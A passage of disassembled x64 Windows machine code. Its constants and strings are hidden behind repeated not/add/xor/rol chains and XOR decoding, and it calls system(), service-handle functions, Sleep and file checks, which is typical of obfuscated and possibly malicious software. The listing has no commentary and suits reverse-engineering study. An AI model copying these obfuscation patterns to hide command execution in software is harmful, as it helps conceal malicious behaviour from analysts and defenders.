rol rax, 0x17
popf
mov qword [rbp + 0x100], rax
movabs rax, 0xf4a2de1c50924d22
pushf
not rax
add rax, 0x67637423
xor rax, 0x523f9436
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x75474dcc
xor rax, 0x52799458
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x57b12af8
xor rax, 0x6ecf413d
rol rax, 0x12
popf
pushf
not rax
add rax, 0x4883536f
xor rax, 0x4611f54a
rol rax, 0x4d
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xd668603c631ef268
pushf
not rax
add rax, 0x4367ec1b
xor rax, 0x56c8067b
rol rax, 0x22
popf
pushf
not rax
add rax, 0x71a04217
xor rax, 0x7ddb1fe0
rol rax, 5
popf
pushf
not rax
add rax, 0x5c241ab5
xor rax, 0x590fadb4
rol rax, 0x7e
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xed5456eb265fc36a
pushf
not rax
add rax, 0x72870219
xor rax, 0x454f905d
rol rax, 0x70
popf
pushf
not rax
add rax, 0x452cc1e6
xor rax, 0x5a6874ce
rol rax, 0xc6
popf
mov qword [rbp + 0x118], rax
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movabs rcx, 0xe8e632aead175e43
pushf
not rcx
add rcx, 0x5060e2f9
xor rcx, 0x7ef61976
rol rcx, 0x8a
popf
pushf
not rcx
add rcx, 0x429b1c86
xor rcx, 0x78445b15
rol rcx, 0x68
popf
pushf
not rcx
add rcx, 0x7c9393a5
xor rcx, 0x5cb08e17
rol rcx, 0xff
popf
pushf
not rcx
add rcx, 0x5cb3a309
xor rcx, 0x78f87dba
rol rcx, 0xc0
popf
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov rbx, rax
jmp 0x1400d3d1a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d3d26
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1b36830fe]
pushf
sub rdx, 0x7367b06e
popf
mov rcx, rax
jmp 0x1400d3d42
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d4169
mov r8d, 0xa9f7729b
pushf
not r8d
add r8d, 0xb440082b
xor r8d, 0xd082f392
rol r8d, 2
popf
pushf
not r8d
add r8d, 0xdf1cf3bd
xor r8d, 0xe9fbbf7f
rol r8d, 0x66
popf
pushf
not r8d
add r8d, 0xc1ee4924
xor r8d, 0xff8b49bf
rol r8d, 0xb4
popf
pushf
not r8d
add r8d, 0xdd3f2ec9
xor r8d, 0xa1dd3ae1
rol r8d, 0xd7
popf
lea rdx, [0x1998a21bd]
pushf
sub rdx, 0x5981e0ad
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d3e02
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d3e1f
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d3e73
push rax
pushf
mov eax, 0xcb34e7f7
pushf
not eax
add eax, 0xb5c0a94b
xor eax, 0xf1324d13
rol eax, 0x82
popf
pushf
not eax
add eax, 0x82e4f50a
xor eax, 0xc8c6b3de
rol eax, 0x30
popf
pushf
not eax
add eax, 0xfbd91f51
xor eax, 0x84014434
rol eax, 0x40
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x3a0c3590
pushf
not eax
add eax, 0xf2829aa9
xor eax, 0xc0305d7e
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xc40df166
xor eax, 0xc2dec734
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xc38146ed
xor eax, 0xde58271c
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xa26c4f1c
xor eax, 0xf991558d
rol eax, 0x7c
popf
jmp 0x1400d0df3
movabs rax, 0xe57a1d1db42e6fcc
pushf
not rax
add rax, 0x5ebb1ac9
xor rax, 0x495b6cb9
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x70c08c00
xor rax, 0x4df03da0
rol rax, 0x21
popf
mov qword [rsp + 0x30], rax
movabs rax, 0x244e48ad9b725366
pushf
not rax
add rax, 0x79eebb0f
xor rax, 0x72a40c17
rol rax, 0x67
popf
pushf
not rax
add rax, 0x664c7515
xor rax, 0x7139852e
rol rax, 0x26
popf
mov qword [rsp + 0x38], rax
movabs rax, 0x7a6506ab3b5040ee
pushf
not rax
add rax, 0x784c4e16
xor rax, 0x45a850e3
rol rax, 0xad
popf
pushf
not rax
add rax, 0x54ae266e
xor rax, 0x6392633b
rol rax, 0xc6
popf
pushf
not rax
add rax, 0x786f1cd3
xor rax, 0x49ca702a
rol rax, 0x45
popf
mov qword [rsp + 0x40], rax
movabs rax, 0x1cf8ec26c6875d17
pushf
not rax
add rax, 0x6dd580f4
xor rax, 0x500c4221
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x5048fb41
xor rax, 0x68764c5e
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x6324a61c
xor rax, 0x5efb6bd5
rol rax, 0x56
popf
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov rbx, rax
jmp 0x1400d4045
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d4051
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x19c300366]
pushf
sub rdx, 0x5c2f82d6
popf
mov rcx, rax
jmp 0x1400d406d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.14011587b
test rax, rax
jne 0x1400d40c8
push rax
pushf
mov eax, 0x439ce70c
pushf
not eax
add eax, 0x9467af1f
xor eax, 0xe43f776d
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xe62d20de
xor eax, 0xccbd61e0
rol eax, 0x34
popf
pushf
not eax
add eax, 0xf66cd900
xor eax, 0xe682b80d
rol eax, 0x34
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x9ff4064f
pushf
not eax
add eax, 0xf8e5c797
xor eax, 0xc94b66c7
rol eax, 0x44
popf
pushf
not eax
add eax, 0x8f10d835
xor eax, 0xe91a59e6
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xc73779e4
xor eax, 0xed843647
rol eax, 0x32
popf
jmp 0x1400d0df3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d4130
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xe92951f1
pushf
not eax
add eax, 0xbffbdb53
xor eax, 0xd4f178a6
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xbec55afd
xor eax, 0xde80cbc4
rol eax, 0x39
popf
jmp 0x1400d0df3
movabs rax, 0x173f7730cecd5fb5
pushf
not rax
add rax, 0x7e7f4b1a
xor rax, 0x5d08b973
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x6b9f8a3f
xor rax, 0x5be99fee
rol rax, 0xf0
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r14
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d41dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d41e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce946
lea rcx, [rbp - 0x80]
jmp 0x1400d421c
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d4227
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400d5b15
lea rcx, [rsp + 0x78]
call fcn.14011587b
test rax, rax
jne 0x1400d42ba
push rax
pushf
mov eax, 0x346184af
pushf
not eax
add eax, 0xf81e488b
xor eax, 0x87b2d537
rol eax, 0x68
popf
pushf
not eax
add eax, 0xbb968d35
xor eax, 0xad7fc0f0
rol eax, 0x57
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xaf3f4099
pushf
not eax
add eax, 0xc7b06692
xor eax, 0xa4e3002e
rol eax, 0xb
popf
pushf
not eax
add eax, 0xba4621b9
xor eax, 0x8ef3e33a
rol eax, 0x78
popf
pushf
not eax
add eax, 0xd9900171
xor eax, 0xecc81ce8
rol eax, 0xb
popf
jmp 0x1400d0df3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d4322
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0x23ca1900
pushf
not eax
add eax, 0x8fab0e88
xor eax, 0xa8cc70d7
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xe59ccb4b
xor eax, 0x8caf55db
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xb66fe430
xor eax, 0xfacbe6ee
rol eax, 0xf3
popf
jmp 0x1400d0df3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce946
lea rcx, [rbp - 0x80]
jmp 0x1400d439f
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d43aa
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova r8, qword [rsp + 0x50]
movabs rbx, 0x53c41142f39f717a
pushf
not rbx
add rbx, 0x5a482444
xor rbx, 0x779c2146
rol rbx, 0x60
popf
pushf
not rbx
add rbx, 0x6e2901c9
xor rbx, 0x489e02aa
rol rbx, 0xa2
popf
mov qword [rsp + 0x30], rbx
movabs rdi, 0x844bc325ba04b4b5
pushf
not rdi
add rdi, 0x58d6534f
xor rdi, 0x4dd347ab
rol rdi, 0xa
popf
pushf
not rdi
add rdi, 0x73a3dc41
xor rdi, 0x60df35db
rol rdi, 0x4a
popf
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x90], xmm1
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.14010f3a9
test al, al
jne 0x1400d453d
push rax
pushf
mov eax, 0x1218a13a
pushf
not eax
add eax, 0x92e57cb4
xor eax, 0xf69c053b
rol eax, 0xce
popf
pushf
not eax
add eax, 0xbcf100b9
xor eax, 0xe1606324
rol eax, 7
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xe0ff077a
pushf
not eax
add eax, 0xe2c844af
xor eax, 0xd58399ff
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x937e6ca0
xor eax, 0xfb61006b
rol eax, 0xab
popf
pushf
not eax
add eax, 0x9ddde342
xor eax, 0xa0c43f58
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xc22ff9ef
xor eax, 0xd0bc064e
rol eax, 0x96
popf
jmp 0x1400d0df3
mov ecx, 0xc215d634
pushf
not ecx
add ecx, 0xe8832ea1
xor ecx, 0xf86b664b
rol ecx, 0x73
popf
pushf
not ecx
add ecx, 0xacbc3abb
xor ecx, 0xb4dd4a89
rol ecx, 0xad
popf
jmp 0x1400d45c6
call qword [sym.imp.KERNEL32.dll_Sleep]
push rax
pushf
mov eax, 0x6b02714f
pushf
not eax
add eax, 0xaa59a4ec
xor eax, 0x830c8237
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xcde10400
xor eax, 0xb3253e77
rol eax, 0x40
popf
jmp 0x1400d0df3
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400c1ed0
jmp 0x1400d5b15
mov rcx, rax
jmp 0x1400d469a
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
jmp 0x1400d46a4
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0xc06dbf8629fd4340
pushf
not rax
add rax, 0x59d4894a
xor rax, 0x6012c7c4
rol rax, 0x64
popf
pushf
not rax
add rax, 0x7df9db52
xor rax, 0x766c7ba7
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x4af7a9f5
xor rax, 0x4c72ce9f
rol rax, 0x68
popf
mov qword [rsp + 0x30], rax
movabs rax, 0x60b0f444dbe94bdc
pushf
not rax
add rax, 0x71773d8d
xor rax, 0x62b1e8bf
rol rax, 0x25
popf
pushf
not rax
add rax, 0x70ccbeb6
xor rax, 0x687b5c68
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x43e3e53b
xor rax, 0x7d4ea41b
rol rax, 0x24
popf
pushf
not rax
add rax, 0x46a83736
xor rax, 0x6ddcff80
rol rax, 0xf8
popf
mov qword [rsp + 0x38], rax
movabs rax, 0xc0c2e9a1eed324b8
pushf
not rax
add rax, 0x6d0ffd6a
xor rax, 0x49313bcb
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x547e3ae0
xor rax, 0x6aa1f05c
rol rax, 0xec
popf
pushf
not rax
add rax, 0x6a699562
xor rax, 0x478a9bfc
rol rax, 0x29
popf
pushf
not rax
add rax, 0x7a9463d0
xor rax, 0x48a9cbeb
rol rax, 0x3d
popf
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8f2a
lea rdx, [0x1aeefdbba]
pushf
sub rdx, 0x6eef5b2a
popf
mov rcx, rax
jmp 0x1400d4842
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
jmp 0x1400d485a
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d48ab
push rax
pushf
mov eax, 0xceeab7ef
pushf
not eax
add eax, 0xddf13e6a
xor eax, 0xd8dfc221
rol eax, 0xe
popf
pushf
not eax
add eax, 0xed8d6974
xor eax, 0xa3c50752
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xc74096db
xor eax, 0xc8736e1e
rol eax, 0x35
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x5213cc2d
pushf
not eax
add eax, 0xa041d7ff
xor eax, 0xb877df42
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xfc14fe05
xor eax, 0xbdbb5a8b
rol eax, 0x11
popf
pushf
not eax
add eax, 0xdf2280b2
xor eax, 0xfb6da6f4
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xfb86b6db
xor eax, 0x838223e3
rol eax, 0x71
popf
jmp 0x1400d0df3
test al, 0x10
jne 0x1400d493b
push rax
pushf
mov eax, 0x3d1ea0ab
pushf
not eax
add eax, 0xdc67f8b3
xor eax, 0xe7bd62f7
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x925c6e85
xor eax, 0xc17074a1
rol eax, 0x16
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xff60988
pushf
not eax
add eax, 0x881cd6bf
xor eax, 0xfaa0040c
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x9464e87a
xor eax, 0xacaf87b0
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x99d982f4
xor eax, 0xffd6cd17
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xdfebe7f1
xor eax, 0xcf3dbcd9
rol eax, 0xea
popf
jmp 0x1400d0df3
mov al, 0xb9
pushf
not al
add al, 0x61
xor al, 7
rol al, 0x78
popf
pushf
not al
add al, 0xf6
xor al, 0x15
rol al, 0xc2
popf
jmp 0x1400d4a69
xor al, al
push rax
pushf
mov eax, 0xa816f320
pushf
not eax
add eax, 0xb450eb3f
xor eax, 0xc56762a8
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xcd276780
xor eax, 0xe885bc5c
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xeb06f528
xor eax, 0xeef50763
rol eax, 7
popf
pushf
not eax
add eax, 0xbe6aba86
xor eax, 0xe6aca5ea
rol eax, 0xc6
popf
jmp 0x1400d0df3
test al, al
jne 0x1400d4aa4
push rax
pushf
mov eax, 0x97f616b2
pushf
not eax
add eax, 0xea03ce1b
xor eax, 0xd2eb83f2
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xcad895a1
xor eax, 0xd5d6c939
rol eax, 0xa2
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xca096c6d
pushf
not eax
add eax, 0x900d8c2e
xor eax, 0xfe5c6912
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xf70dc5a2
xor eax, 0xcae18a3a
rol eax, 0x45
popf
jmp 0x1400d0df3
xor edx, edx
mov r8d, 0xadc6e739
pushf
not r8d
add r8d, 0xa6d7af05
xor r8d, 0xf835efb3
rol r8d, 0xeb
popf
pushf
not r8d
add r8d, 0xe4272706
xor r8d, 0xc718fb0c
rol r8d, 0xb8
popf
pushf
not r8d
add r8d, 0xea4d9620
xor r8d, 0xf9cf9892
rol r8d, 0x7f
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400f6b7e
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x18064be0f]
pushf
sub rdi, 0x405d40e7
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d4bd3
push rax
pushf
mov eax, 0x9a7581e1
pushf
not eax
add eax, 0xe9062911
xor eax, 0x8ff378ed
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xebc050f9
xor eax, 0xba3b1ab0
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xb3765855
xor eax, 0x8c60ce45
rol eax, 0xe2
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x5f000c78
pushf
not eax
add eax, 0xfa61987c
xor eax, 0xe9ef0bb4
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xa163d675
xor eax, 0xa045619a
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xcc75dd48
xor eax, 0xdf04bf4c
rol eax, 0x11
popf
pushf
not eax
add eax, 0xaaf8f587
xor eax, 0xcaf01c32
rol eax, 0xe7
popf
jmp 0x1400d0df3
movabs rax, 0x3dbefe5079b779ee
pushf
not rax
add rax, 0x4ef49e35
xor rax, 0x60f58716
rol rax, 0x65
popf
pushf
not rax
add rax, 0x5ab22eca
xor rax, 0x663939c2
rol rax, 0x69
popf
mov qword [rbp + 0xf0], rax
movabs rax, 0xd080bccd90c6a13d
pushf
not rax
add rax, 0x4c599f1c
xor rax, 0x49995ae0
rol rax, 0x25
popf
pushf
not rax
add rax, 0x754cdb4a
xor rax, 0x648a7584
rol rax, 0xd4
popf
pushf
not rax
add rax, 0x5894388b
xor rax, 0x48e6e3f4
rol rax, 0x6f
popf
mov qword [rbp + 0xf8], rax
movabs rax, 0xa7b763cb1e2bd902
pushf
not rax
add rax, 0x471bae3a
xor rax, 0x467c6491
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x4fb72df9
xor rax, 0x5f258207
rol rax, 0xa
popf
pushf
not rax
add rax, 0x6ef17a41
xor rax, 0x6d8b4cf2
rol rax, 0x47
popf
pushf
not rax
add rax, 0x5083e5e2
xor rax, 0x59720b1e
rol rax, 0xda
popf
mov qword [rbp + 0x100], rax
movabs rax, 0xfb3d792619ed6339
pushf
not rax
add rax, 0x45c80358
xor rax, 0x72eb9829
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x4cf59f90
xor rax, 0x709d777f
rol rax, 0x21
popf
pushf
not rax
add rax, 0x72486fcc
xor rax, 0x7b32089c
rol rax, 0x93
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x658fa00916c16b5b
pushf
not rax
add rax, 0x4e04a42a
xor rax, 0x48bfd84e
rol rax, 8
popf
pushf
not rax
add rax, 0x7d1b28ba
xor rax, 0x7ff3bbbc
rol rax, 0x95
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xce19daaa462360df
pushf
not rax
add rax, 0x50ee8a88
xor rax, 0x79976707
rol rax, 0x49
popf
pushf
not rax
add rax, 0x6bec7633
xor rax, 0x4c7dda8b
rol rax, 0xbc
popf
mov qword [rbp + 0x118], rax
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movabs rcx, 0x4b5af738026ac66c
pushf
not rcx
add rcx, 0x7a4bf42a
xor rcx, 0x75ed8183
rol rcx, 0x43
popf
pushf
not rcx
add rcx, 0x51e48a8e
xor rcx, 0x4ce03f4b
rol rcx, 0x21
popf
pushf
not rcx
add rcx, 0x4d3ae6cb
xor rcx, 0x40b87113
rol rcx, 0x2c
popf
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov rbx, rax
jmp 0x1400d4edd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d4ee9
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1b2a0be44]
pushf
sub rdx, 0x72a03db4
popf
mov rcx, rax
jmp 0x1400d4f05
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5334
mov r8d, 0xd42dbb76
pushf
not r8d
add r8d, 0x9c287b98
xor r8d, 0xa2325c20
rol r8d, 0x39
popf
pushf
not r8d
add r8d, 0x82caa659
xor r8d, 0xc929704b
rol r8d, 0x1f
popf
pushf
not r8d
add r8d, 0x9f11ee38
xor r8d, 0xca97cdaf
rol r8d, 0xf3
popf
pushf
not r8d
add r8d, 0xf7f14e21
xor r8d, 0xc68902e5
rol r8d, 0xa4
popf
lea rdx, [0x1a6799a92]
pushf
sub rdx, 0x66715982
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d4feb
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d5008
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d5049
push rax
pushf
mov eax, 0x1a615c5a
pushf
not eax
add eax, 0x9935ac85
xor eax, 0xc4ab27ae
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf1661dba
xor eax, 0xe7f69eca
rol eax, 0xb3
popf
jmp 0x1400d0df3
push rax
pushf
